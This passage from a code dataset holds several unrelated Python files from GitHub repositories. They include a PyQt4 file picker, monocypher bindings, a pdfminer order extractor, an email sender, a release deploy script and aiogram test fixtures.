Territories\",\"Y\":\"Yukon\"\r\n}\r\ncode=input().strip()\r\nprov=code[0]\r\nans=''\r\nans+=str(postalCodes[prov])\r\nif(code[1]==0):\r\n ans+=\" and Rural\"\r\nelse:\r\n ans+=\" and Urban\"\r\nprint(ans)\r\n\r\n\r\n\r\n# print(postalCodes[\"J\"])","repo_name":"tvha23/Information-Communication-Technologies-2020-Fall","sub_path":"Lab4/PostalCodes.py","file_name":"PostalCodes.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73907877956","text":"from monocypher.utils import ensure_length\nfrom monocypher._monocypher import lib, ffi\n\n\ndef crypto_curve_to_hidden(your_pk, tweak):\n ensure_length('your_pk', your_pk, 32)\n\n curve = ffi.from_buffer('uint8_t[32]', your_pk)\n hidden = ffi.new('uint8_t[32]')\n\n if lib.crypto_curve_to_hidden(hidden, curve, tweak): # pragma: no cover\n return None # unsuitable for hiding\n return bytes(hidden)\n\n\ndef crypto_hidden_to_curve(your_hidden_pk):\n ensure_length('your_hidden_pk', your_hidden_pk, 32)\n\n hidden = ffi.from_buffer('uint8_t[32]', your_hidden_pk)\n pk = ffi.new('uint8_t[32]')\n\n lib.crypto_hidden_to_curve(pk, hidden)\n return bytes(pk)\n\n\ndef crypto_hidden_key_pair(your_secret_seed):\n ensure_length('your_secret_seed', your_secret_seed, 32)\n\n seed = ffi.from_buffer('uint8_t[32]', your_secret_seed)\n sk = ffi.new('uint8_t[32]')\n hidden_pk = ffi.new('uint8_t[32]')\n\n lib.crypto_hidden_key_pair(hidden_pk, sk, seed)\n return bytes(hidden_pk), bytes(sk)\n","repo_name":"eugene-eeo/monocypher-py","sub_path":"src/monocypher/bindings/crypto_hidden.py","file_name":"crypto_hidden.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"21712234321","text":"import os\nfrom PyQt4 import QtCore, QtGui\nimport common\n\nclass FileList(QtGui.QListWidget):\n files_dropped = QtCore.pyqtSignal()\n\n def __init__(self, parent=None):\n super(FileList, self).__init__(parent)\n self.setAcceptDrops(True)\n self.setIconSize(QtCore.QSize(32, 32))\n\n # drag and drop label\n self.drop_label = QtGui.QLabel(QtCore.QString('Drag and drop\\nfiles here'), parent=self)\n self.drop_label.setAlignment(QtCore.Qt.AlignCenter)\n self.drop_label.setStyleSheet('background: url({0}/drop_files.png) no-repeat center center; color: #999999;'.format(common.supercipher_gui_dir))\n self.drop_label.hide()\n\n self.filenames = []\n self.update()\n\n def update(self):\n # file list should have a background image if empty\n if len(self.filenames) == 0:\n self.drop_label.show()\n else:\n self.drop_label.hide()\n\n def resizeEvent(self, event):\n self.drop_label.setGeometry(0, 0, self.width(), self.height())\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls:\n event.accept()\n else:\n event.ignore()\n\n def dragMoveEvent(self, event):\n if event.mimeData().hasUrls:\n event.setDropAction(QtCore.Qt.CopyAction)\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n if event.mimeData().hasUrls:\n event.setDropAction(QtCore.Qt.CopyAction)\n event.accept()\n for url in event.mimeData().urls():\n filename = str(url.toLocalFile())\n self.add_file(filename)\n else:\n event.ignore()\n self.files_dropped.emit()\n\n def add_file(self, filename):\n if filename not in self.filenames:\n self.filenames.append(filename)\n\n basename = os.path.basename(filename)\n fileinfo = QtCore.QFileInfo(filename)\n ip = QtGui.QFileIconProvider()\n icon = ip.icon(fileinfo)\n\n if os.path.isfile(filename):\n size = self.human_readable_filesize(fileinfo.size())\n item = QtGui.QListWidgetItem('{0} ({1})'.format(basename, size))\n item.setToolTip(QtCore.QString(size))\n else:\n item = QtGui.QListWidgetItem(basename)\n \n item.setIcon(icon)\n self.addItem(item)\n\n def human_readable_filesize(self, b):\n thresh = 1024.0\n if b < thresh:\n return '{0} B'.format(b)\n units = ['KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB']\n u = 0\n b /= thresh\n while b >= thresh:\n b /= thresh\n u += 1\n return '{0} {1}'.format(round(b, 1), units[u])\n\nclass FileSelection(QtGui.QVBoxLayout):\n def __init__(self):\n super(FileSelection, self).__init__()\n\n # file list\n self.file_list = FileList()\n self.file_list.currentItemChanged.connect(self.update)\n self.file_list.files_dropped.connect(self.update)\n\n # buttons\n self.add_files_button = QtGui.QPushButton('Add Files')\n self.add_files_button.clicked.connect(self.add_files)\n self.add_dir_button = QtGui.QPushButton('Add Folder')\n self.add_dir_button.clicked.connect(self.add_dir)\n self.delete_button = QtGui.QPushButton('Delete')\n self.delete_button.clicked.connect(self.delete_file)\n button_layout = QtGui.QHBoxLayout()\n button_layout.addWidget(self.add_files_button)\n button_layout.addWidget(self.add_dir_button)\n button_layout.addWidget(self.delete_button)\n\n # add the widgets\n self.addWidget(self.file_list)\n self.addLayout(button_layout)\n\n self.update()\n\n def update(self):\n # delete button should be disabled if item isn't selected\n current_item = self.file_list.currentItem()\n if not current_item:\n self.delete_button.setEnabled(False)\n else:\n self.delete_button.setEnabled(True)\n\n # update the file list\n self.file_list.update()\n\n def add_files(self):\n filenames = QtGui.QFileDialog.getOpenFileNames(caption='Choose files', options=QtGui.QFileDialog.ReadOnly)\n if filenames:\n for filename in filenames:\n self.file_list.add_file(str(filename))\n self.update()\n\n def add_dir(self):\n filename = QtGui.QFileDialog.getExistingDirectory(caption='Choose folder', options=QtGui.QFileDialog.ReadOnly)\n if filename:\n self.file_list.add_file(str(filename))\n self.update()\n\n def delete_file(self):\n current_row = self.file_list.currentRow()\n self.file_list.filenames.pop(current_row)\n self.file_list.takeItem(current_row)\n self.update()\n\n","repo_name":"micahflee/supercipher","sub_path":"supercipher_gui/file_selection.py","file_name":"file_selection.py","file_ext":"py","file_size_in_byte":4842,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"41988429519","text":"# https://www.hackerrank.com/challenges/counting-valleys/\n# dolina je podniz koji ima isti broj spustanja (D) i penjanja (U)\n\ndef countingValleys(s):\n valleys = 0\n level = 0\n for a in s:\n if a is \"D\":\n level += 1\n if a is \"U\":\n level -= 1\n if level == 0:\n valleys += 1\n return valleys\n\n\nprint(countingValleys([\"U\", \"D\", \"D\", \"D\", \"U\", \"D\", \"U\", \"U\"]))\n","repo_name":"skolakoda/ucimo-algoritme","sub_path":"60-nizovi/brojanje-dolina.py","file_name":"brojanje-dolina.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37368696060","text":"#!/usr/bin/python3\nimport requests\nimport json\nimport os\nos.system('rm -r IRbaby_deploy_tmp')\nos.system('mkdir -p IRbaby_deploy_tmp')\nurl = 'https://api.github.com/repos/Caffreyfans/IRbaby-firmware/releases/latest'\nresponse = requests.get(url)\ndata = json.loads(response.text)\ndownload_url = data['assets'][0]['browser_download_url']\ntag_name = data[\"tag_name\"]\nos.system('wget ' + download_url)\nos.system('unzip -d IRbaby_deploy_tmp IRbaby.zip')\nos.system('rm IRbaby.zip')\nurl = 'https://api.github.com/repos/Caffreyfans/IRbaby-android/releases/latest'\nresponse = requests.get(url)\ndata = json.loads(response.text)\ndownload_url = data['assets'][0]['browser_download_url']\nos.system('wget ' + download_url + ' -P IRbaby_deploy_tmp')\nos.system(\"rm -rf /var/www/irbaby/latest/\")\nos.system('mkdir -p /var/www/irbaby/' + tag_name)\nos.system('mkdir -p /var/www/irbaby/latest')\nos.system('cp -r IRbaby_deploy_tmp/* /var/www/irbaby/latest')\nos.system('mkdir -p /var/www/irbaby/' + tag_name)\nos.system('cp -r IRbaby_deploy_tmp/* /var/www/irbaby/' + tag_name)","repo_name":"Caffreyfans/IRbaby","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":429,"dataset":"github-code","pt":"62"} +{"seq_id":"43301257118","text":"# -*- coding: utf-8 -*-\nfrom pdfminer.pdfdocument import PDFDocument, PDFNoOutlines\nfrom pdfminer.pdfparser import PDFParser\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.converter import PDFPageAggregator\nfrom pdfminer.layout import LTPage, LTChar, LTAnno, LAParams, LTTextBox, LTTextLine\nfrom pprint import pprint\nfrom pdfminer.pdfpage import PDFPage\nimport operator\n\n\nclass PDFPageDetailedAggregator(PDFPageAggregator):\n def __init__(self, rsrcmgr, pageno=1, laparams=None):\n PDFPageAggregator.__init__(self, rsrcmgr, pageno=pageno, laparams=laparams)\n self.rows = []\n self.page_number = 0\n def receive_layout(self, ltpage): \n def render(item, page_number):\n if isinstance(item, LTPage) or isinstance(item, LTTextBox):\n for child in item:\n render(child, page_number)\n elif isinstance(item, LTTextLine):\n child_str = ''\n for child in item:\n if isinstance(child, (LTChar, LTAnno)):\n child_str += child.get_text()\n child_str = ' '.join(child_str.split()).strip()\n if child_str:\n row = (page_number, item.bbox[0], item.bbox[1], item.bbox[2], item.bbox[3], child_str) # bbox == (x1, y1, x2, y2)\n self.rows.append(row)\n for child in item:\n render(child, page_number)\n return\n render(ltpage, self.page_number)\n self.page_number += 1\n self.rows = sorted(self.rows, key = lambda x: (x[0], -x[2], x[1])) #sort by page, y, x \n self.result = ltpage\n\ndef main(file):\n fp = open(file, 'rb')\n parser = PDFParser(fp)\n doc = PDFDocument(parser)\n #doc.initialize() # leave empty for no password\n\n rsrcmgr = PDFResourceManager()\n laparams = LAParams()\n device = PDFPageDetailedAggregator(rsrcmgr, laparams=laparams)\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n\n for page in PDFPage.create_pages(doc):\n interpreter.process_page(page)\n # receive the LTPage object for this page\n device.get_result()\n\n pprint(device.rows)\n \n extract_data(device.rows)\n \ndef extract_data(rows):\n header_fields = ['Order number 订单号', 'Order date 订单日期']\n item_fields=['描述','币别']\n table_end_row_indicators = ['Company Address:','Total value of the order without VAT']\n header = {}\n item=[]\n cur_page = -1\n new_page = False\n row_count= -1\n for idx, val in enumerate(rows):\n if val[0] != cur_page:\n new_page = True\n item_row_started = False\n item_fields=['描述','币别']\n cur_page = val[0]\n value = val[-1]\n if header_fields and value in header_fields:\n header.update({value: rows[idx+1][-1]})\n header_fields.remove(value)\n if item_fields and value == item_fields[0] and rows[idx+1][-1] == item_fields[1]:\n item_fields = []\n item_row_started = True\n item_start_row = idx + 3\n cur_row_idx = -1\n \n if item_row_started: \n if value in table_end_row_indicators: #with only table header column, no content rows on 1st page\n item_row_started = False \n elif idx - item_start_row >=0:\n if len(value) == 5 and value.isnumeric(): #if len(value) == 5 and value.isnumeric(): \n item.append([value]) \n row_count += 1\n col_num=0\n else:\n col_num += 1\n if col_num < 6 or not all(x in value for x in ['Page','of']): # remove the trailing page counter\n item[row_count].append(value) \n \n print(header)\n pprint(item)\n \n \nif __name__ == \"__main__\":\n for f in ['sample.pdf','po1.pdf','po2.pdf','po3.pdf','po4.pdf','po5.pdf']: #\n main(f) \n","repo_name":"szufisher/SAPScript","sub_path":"python/pdfminer/text_extract_with_page_pos.py","file_name":"text_extract_with_page_pos.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"62"} +{"seq_id":"34279726182","text":"#! -*- coding:utf-8 -*-\r\n\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.application import MIMEApplication\r\nfrom email.mime.text import MIMEText\r\nimport smtplib\r\nimport glob\r\nimport os\r\n\r\ndef send_email(toaddrs,subject,content,file_name=None,file_dir=None):\r\n\t'''\r\n\t自动发邮件,需要传入几个参数,并且可以选择传入文件夹或者传入单个文件\r\n\t'''\r\n\tfromaddr = \"fromaddr\" #自己的邮箱\r\n\tsmtpaddr = \"smtp.exmail.qq.com\"\r\n\ttoaddrs = toaddrs #发送给哪些人,传入list\r\n\tsubject = subject #传入的标题\r\n\tcontent = content #邮件正文\r\n\tpassword = \"password\" #邮箱密码\r\n\r\n\tmail_msg = MIMEMultipart()\r\n\tmail_msg['Subject'] = subject \r\n\tmail_msg['From'] = fromaddr\r\n\tmail_msg['To'] = ','.join(toaddrs)\r\n\tmail_msg.attach(MIMEText(content, 'plain', 'utf-8')) \r\n\tif file_dir == None:\r\n\t\tpart = MIMEApplication(open(file_name,'rb').read(),'utf-8')\r\n\t\tpart.add_header('Content-Disposition', 'attachment', filename=('gbk','',os.path.split(file_name)[-1]))\r\n\t\tmail_msg.attach(part)\r\n\telse:\r\n\t\tfile_names = glob.glob(r'{0}\\*.*'.format(file_dir))\r\n\t\tfor file_name in file_names:\r\n\t\t\tpart = MIMEApplication(open(file_name,'rb').read(),'utf-8')\r\n\t\t\tpart.add_header('Content-Disposition', 'attachment', filename=('gbk','',os.path.split(file_name)[-1]))\r\n\t\t\tmail_msg.attach(part)\r\n\r\n\ttry:\r\n\t\ts = smtplib.SMTP()\r\n\t\tprint(1)\r\n\t\ts.connect(smtpaddr) # 连接smtp服务器\r\n\t\tprint(2)\r\n\t\ts.login(fromaddr, password) # 登录邮箱\r\n\t\tprint(3)\r\n\t\ts.sendmail(fromaddr, toaddrs, mail_msg.as_string()) # 发送邮件\r\n\t\tprint(4)\r\n\t\ts.quit()\r\n\t\tprint(u'发送成功')\r\n\texcept Exception as e:\r\n\t\tprint(\"Error: unable to send email\")\r\n\t\tprint(traceback.format_exc())\r\n","repo_name":"rulingyuye/send-email","sub_path":"send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36327058113","text":"from aiogram import types\n\nfrom .base import DatasetItem\n\nUSER = DatasetItem(\n {\n \"id\": 12345678,\n \"is_bot\": False,\n \"first_name\": \"FirstName\",\n \"last_name\": \"LastName\",\n \"username\": \"username\",\n \"language_code\": \"ru\",\n },\n model=types.User,\n)\n\nCHAT = DatasetItem(\n {\n \"id\": 12345678,\n \"first_name\": \"FirstName\",\n \"last_name\": \"LastName\",\n \"username\": \"username\",\n \"type\": \"private\",\n },\n model=types.Chat,\n)\n\nCHAT_PHOTO = DatasetItem(\n {\n \"small_file_id\": \"small_file_id\",\n \"small_file_unique_id\": \"small_file_unique_id\",\n \"big_file_id\": \"big_file_id\",\n \"big_file_unique_id\": \"big_file_unique_id\",\n },\n model=types.ChatPhoto,\n)\n\nPHOTO = DatasetItem(\n {\n \"file_id\": \"AgADBAADFak0G88YZAf8OAug7bHyS9x2ZxkABHVfpJywcloRAAGAAQABAg\",\n \"file_unique_id\": \"file_unique_id\",\n \"file_size\": 1101,\n \"width\": 90,\n \"height\": 51,\n },\n model=types.PhotoSize,\n)\n\nAUDIO = DatasetItem(\n {\n \"duration\": 236,\n \"mime_type\": \"audio/mpeg3\",\n \"title\": \"The Best Song\",\n \"performer\": \"The Best Singer\",\n \"file_id\": \"CQADAgADbQEAAsnrIUpNoRRNsH7_hAI\",\n \"file_size\": 9507774,\n \"file_unique_id\": \"file_unique_id\",\n },\n model=types.Audio,\n)\n\nBOT_COMMAND = DatasetItem(\n {\n \"command\": \"start\",\n \"description\": \"Start bot\",\n },\n model=types.BotCommand,\n)\n\nCHAT_MEMBER = DatasetItem(\n {\n \"user\": USER,\n \"status\": \"administrator\",\n \"can_be_edited\": False,\n \"can_manage_chat\": True,\n \"can_change_info\": True,\n \"can_delete_messages\": True,\n \"can_invite_users\": True,\n \"can_restrict_members\": True,\n \"can_pin_messages\": True,\n \"can_promote_members\": False,\n \"can_manage_voice_chats\": True, # Deprecated\n \"can_manage_video_chats\": True,\n \"is_anonymous\": False,\n },\n model=types.ChatMember,\n)\n\nCHAT_MEMBER_OWNER = DatasetItem(\n {\n \"user\": USER,\n \"status\": \"creator\",\n \"is_anonymous\": False,\n },\n model=types.ChatMemberOwner,\n)\n\nCONTACT = DatasetItem(\n {\n \"phone_number\": \"88005553535\",\n \"first_name\": \"John\",\n \"last_name\": \"Smith\",\n },\n model=types.Contact,\n)\n\nDICE = DatasetItem({\"value\": 6, \"emoji\": \"🎲\"}, model=types.Dice)\n\nDOCUMENT = DatasetItem(\n {\n \"file_name\": \"test.docx\",\n \"mime_type\": \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n \"file_id\": \"BQADAgADpgADy_JxS66XQTBRHFleAg\",\n \"file_unique_id\": \"file_unique_id\",\n \"file_size\": 21331,\n },\n model=types.Document,\n)\n\nANIMATION = DatasetItem(\n {\"file_id\": \"file_id\", \"file_unique_id\": \"file_unique_id\", \"width\": 50, \"height\": 50, \"duration\": 50},\n model=types.Animation,\n)\n\nENTITY_BOLD = DatasetItem(\n {\n \"offset\": 5,\n \"length\": 2,\n \"type\": \"bold\",\n }\n)\n\nENTITY_ITALIC = DatasetItem(\n {\n \"offset\": 8,\n \"length\": 1,\n \"type\": \"italic\",\n }\n)\n\nENTITY_LINK = DatasetItem(\n {\n \"offset\": 10,\n \"length\": 6,\n \"type\": \"text_link\",\n \"url\": \"https://google.com/\",\n }\n)\n\nENTITY_CODE = DatasetItem(\n {\n \"offset\": 17,\n \"length\": 7,\n \"type\": \"code\",\n }\n)\n\nENTITY_PRE = DatasetItem(\n {\n \"offset\": 30,\n \"length\": 4,\n \"type\": \"pre\",\n }\n)\n\nENTITY_MENTION = DatasetItem(\n {\n \"offset\": 47,\n \"length\": 9,\n \"type\": \"mention\",\n }\n)\n\nGAME = DatasetItem(\n {\n \"title\": \"Karate Kido\",\n \"description\": \"No trees were harmed in the making of this game :)\",\n \"photo\": [PHOTO, PHOTO, PHOTO],\n \"animation\": ANIMATION,\n },\n model=types.Game,\n)\n\nINVOICE = DatasetItem(\n {\n \"title\": \"Working Time Machine\",\n \"description\": \"Want to visit your great-great-great-grandparents? \"\n \"Make a fortune at the races? \"\n \"Shake hands with Hammurabi and take a stroll in the Hanging Gardens? \"\n \"Order our Working Time Machine today!\",\n \"start_parameter\": \"time-machine-example\",\n \"currency\": \"USD\",\n \"total_amount\": 6250,\n },\n model=types.Invoice,\n)\n\nLOCATION = DatasetItem(\n {\n \"latitude\": 50.693416,\n \"longitude\": 30.624605,\n },\n model=types.Location,\n)\n\nVENUE = DatasetItem(\n {\n \"location\": LOCATION,\n \"title\": \"Venue Name\",\n \"address\": \"Venue Address\",\n \"foursquare_id\": \"4e6f2cec483bad563d150f98\",\n },\n model=types.Venue,\n)\n\nSHIPPING_ADDRESS = DatasetItem(\n {\n \"country_code\": \"US\",\n \"state\": \"State\",\n \"city\": \"DefaultCity\",\n \"street_line1\": \"Central\",\n \"street_line2\": \"Middle\",\n \"post_code\": \"424242\",\n },\n model=types.ShippingAddress,\n)\n\nSTICKER = DatasetItem(\n {\n \"width\": 512,\n \"height\": 512,\n \"emoji\": \"🛠\",\n \"set_name\": \"StickerSet\",\n \"thumb\": PHOTO,\n \"file_id\": \"AAbbCCddEEffGGhh1234567890\",\n \"file_size\": 12345,\n \"file_unique_id\": \"file_unique_id\",\n \"type\": \"type\",\n \"is_animated\": False,\n \"is_video\": False,\n },\n model=types.Sticker,\n)\n\nSUCCESSFUL_PAYMENT = DatasetItem(\n {\n \"currency\": \"USD\",\n \"total_amount\": 6250,\n \"invoice_payload\": \"HAPPY FRIDAYS COUPON\",\n \"telegram_payment_charge_id\": \"_\",\n \"provider_payment_charge_id\": \"12345678901234_test\",\n },\n model=types.SuccessfulPayment,\n)\n\nVIDEO = DatasetItem(\n {\n \"duration\": 52,\n \"width\": 853,\n \"height\": 480,\n \"mime_type\": \"video/quicktime\",\n \"thumb\": PHOTO,\n \"file_id\": \"BAADAgpAADdawy_JxS72kRvV3cortAg\",\n \"file_unique_id\": \"file_unique_id\",\n \"file_size\": 10099782,\n },\n model=types.Video,\n)\n\nVIDEO_NOTE = DatasetItem(\n {\n \"duration\": 4,\n \"length\": 240,\n \"thumb\": PHOTO,\n \"file_id\": \"AbCdEfGhIjKlMnOpQrStUvWxYz\",\n \"file_unique_id\": \"file_unique_id\",\n \"file_size\": 186562,\n },\n model=types.VideoNote,\n)\n\nVOICE = DatasetItem(\n {\n \"duration\": 1,\n \"mime_type\": \"audio/ogg\",\n \"file_id\": \"AwADawAgADADy_JxS2gopIVIIxlhAg\",\n \"file_unique_id\": \"file_unique_id\",\n \"file_size\": 4321,\n },\n model=types.Voice,\n)\n\nCALLBACK_QUERY = DatasetItem(\n {\"id\": 12345678, \"chat_instance\": \"AABBCC\", \"from\": USER, \"chat\": CHAT, \"data\": \"data\"}, model=types.CallbackQuery\n)\n\nCHANNEL = DatasetItem(\n {\n \"type\": \"channel\",\n \"username\": \"best_channel_ever\",\n \"id\": -1001065170817,\n },\n model=types.Chat,\n)\n\nCHANNEL_POST = DatasetItem(\n {\"message_id\": 12345, \"sender_chat\": CHANNEL, \"chat\": CHANNEL, \"date\": 1508825372, \"text\": \"Hi, channel!\"},\n model=types.Message,\n)\n\nEDITED_CHANNEL_POST = DatasetItem(\n {\n \"message_id\": 12345,\n \"sender_chat\": CHANNEL,\n \"chat\": CHANNEL,\n \"date\": 1508825372,\n \"edit_date\": 1508825379,\n \"text\": \"Hi, channel! (edited)\",\n },\n model=types.Message,\n)\n\nEDITED_MESSAGE = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508825372,\n \"edit_date\": 1508825379,\n \"text\": \"hi there (edited)\",\n },\n model=types.Message,\n)\n\nFORWARDED_MESSAGE = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1522828529,\n \"forward_from_chat\": CHAT,\n \"forward_from_message_id\": 123,\n \"forward_date\": 1522749037,\n \"text\": \"Forwarded text with entities from public channel \",\n \"entities\": [ENTITY_BOLD, ENTITY_CODE, ENTITY_ITALIC, ENTITY_LINK, ENTITY_LINK, ENTITY_MENTION, ENTITY_PRE],\n },\n model=types.Message,\n)\n\nMESSAGE = DatasetItem(\n {\"message_id\": 11223, \"from\": USER, \"chat\": CHAT, \"date\": 1508709711, \"text\": \"Hi, world!\"},\n model=types.Message,\n)\n\nMESSAGE_WITH_AUDIO = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508739776,\n \"audio\": AUDIO,\n \"caption\": \"This is my favourite song\",\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_CONTACT = DatasetItem(\n {\n \"message_id\": 56006,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1522850298,\n \"contact\": CONTACT,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_DICE = DatasetItem(\n {\"message_id\": 12345, \"from\": USER, \"chat\": CHAT, \"date\": 1508768012, \"dice\": DICE}, model=types.Message\n)\n\nMESSAGE_WITH_DOCUMENT = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508768012,\n \"document\": DOCUMENT,\n \"caption\": \"Read my document\",\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_GAME = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508824810,\n \"game\": GAME,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_INVOICE = DatasetItem(\n {\n \"message_id\": 9772,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508761719,\n \"invoice\": INVOICE,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_LOCATION = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508755473,\n \"location\": LOCATION,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_MIGRATE_TO_CHAT_ID = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1526943253,\n \"migrate_to_chat_id\": -1234567890987,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_MIGRATE_FROM_CHAT_ID = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1526943253,\n \"migrate_from_chat_id\": -123456789,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_PHOTO = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508825154,\n \"photo\": [PHOTO, PHOTO, PHOTO, PHOTO],\n \"caption\": \"photo description\",\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_MEDIA_GROUP = DatasetItem(\n {\n \"message_id\": 55966,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1522843665,\n \"media_group_id\": \"12182749320567362\",\n \"photo\": [PHOTO, PHOTO, PHOTO, PHOTO],\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_STICKER = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508771450,\n \"sticker\": STICKER,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_SUCCESSFUL_PAYMENT = DatasetItem(\n {\n \"message_id\": 9768,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508761169,\n \"successful_payment\": SUCCESSFUL_PAYMENT,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_VENUE = DatasetItem(\n {\n \"message_id\": 56004,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1522849819,\n \"location\": LOCATION,\n \"venue\": VENUE,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_VIDEO = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508756494,\n \"video\": VIDEO,\n \"caption\": \"description\",\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_VIDEO_NOTE = DatasetItem(\n {\n \"message_id\": 55934,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1522835890,\n \"video_note\": VIDEO_NOTE,\n },\n model=types.Message,\n)\n\nMESSAGE_WITH_VOICE = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508768403,\n \"voice\": VOICE,\n },\n model=types.Message,\n)\n\nMESSAGE_FROM_CHANNEL = DatasetItem(\n {\n \"message_id\": 123432,\n \"from\": None,\n \"chat\": CHANNEL,\n \"date\": 1508768405,\n \"text\": \"Hi, world!\",\n },\n model=types.Message,\n)\n\nPRE_CHECKOUT_QUERY = DatasetItem(\n {\n \"id\": \"262181558630368727\",\n \"from\": USER,\n \"currency\": \"USD\",\n \"total_amount\": 6250,\n \"invoice_payload\": \"HAPPY FRIDAYS COUPON\",\n },\n model=types.PreCheckoutQuery,\n)\n\nREPLY_MESSAGE = DatasetItem(\n {\n \"message_id\": 12345,\n \"from\": USER,\n \"chat\": CHAT,\n \"date\": 1508751866,\n \"reply_to_message\": MESSAGE,\n \"text\": \"Reply to quoted message\",\n },\n model=types.Message,\n)\n\nSHIPPING_QUERY = DatasetItem(\n {\n \"id\": \"262181558684397422\",\n \"from\": USER,\n \"invoice_payload\": \"HAPPY FRIDAYS COUPON\",\n \"shipping_address\": SHIPPING_ADDRESS,\n },\n model=types.ShippingQuery,\n)\n\nUSER_PROFILE_PHOTOS = DatasetItem(\n {\n \"total_count\": 1,\n \"photos\": [\n [PHOTO, PHOTO, PHOTO],\n ],\n },\n model=types.UserProfilePhotos,\n)\n\nFILE = DatasetItem(\n {\"file_id\": \"XXXYYYZZZ\", \"file_size\": 5254, \"file_path\": \"voice/file_8\", \"file_unique_id\": \"file_unique_id\"},\n model=types.File,\n)\n\nUPDATE = DatasetItem(\n {\n \"update_id\": 123456789,\n \"message\": MESSAGE,\n },\n model=types.Update,\n)\n\nWEBHOOK_INFO = DatasetItem(\n {\n \"url\": \"\",\n \"has_custom_certificate\": False,\n \"pending_update_count\": 0,\n },\n model=types.WebhookInfo,\n)\n\nREPLY_KEYBOARD_MARKUP = DatasetItem(\n {\n \"keyboard\": [[{\"text\": \"something here\"}]],\n \"resize_keyboard\": True,\n },\n model=types.ReplyKeyboardMarkup,\n)\n\nCHAT_PERMISSIONS = DatasetItem(\n {\n \"can_send_messages\": True,\n \"can_send_media_messages\": True,\n \"can_send_polls\": True,\n \"can_send_other_messages\": True,\n \"can_add_web_page_previews\": True,\n \"can_change_info\": True,\n \"can_invite_users\": True,\n \"can_pin_messages\": True,\n },\n model=types.ChatPermissions,\n)\n\nCHAT_LOCATION = DatasetItem(\n {\n \"location\": LOCATION,\n \"address\": \"address\",\n },\n model=types.ChatLocation,\n)\n\nFULL_CHAT = DatasetItem(\n {\n **CHAT,\n \"photo\": CHAT_PHOTO,\n \"bio\": \"bio\",\n \"has_private_forwards\": False,\n \"description\": \"description\",\n \"invite_link\": \"invite_link\",\n \"pinned_message\": MESSAGE,\n \"permissions\": CHAT_PERMISSIONS,\n \"slow_mode_delay\": 10,\n \"message_auto_delete_time\": 60,\n \"has_protected_content\": True,\n \"sticker_set_name\": \"sticker_set_name\",\n \"can_set_sticker_set\": True,\n \"linked_chat_id\": -1234567890,\n \"location\": CHAT_LOCATION,\n },\n model=types.Chat,\n)\n","repo_name":"OCCCAS/aiogram_tests","sub_path":"aiogram_tests/types/dataset/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14653,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"62"} +{"seq_id":"71245216518","text":"import json\n\nwith open('pokedex.json') as json_file:\n data = json.load(json_file)\n moves_seen = set()\n output = ''\n for pokemon in data:\n for ability in pokemon[\"Abilities\"]:\n output += ability + ', ' + 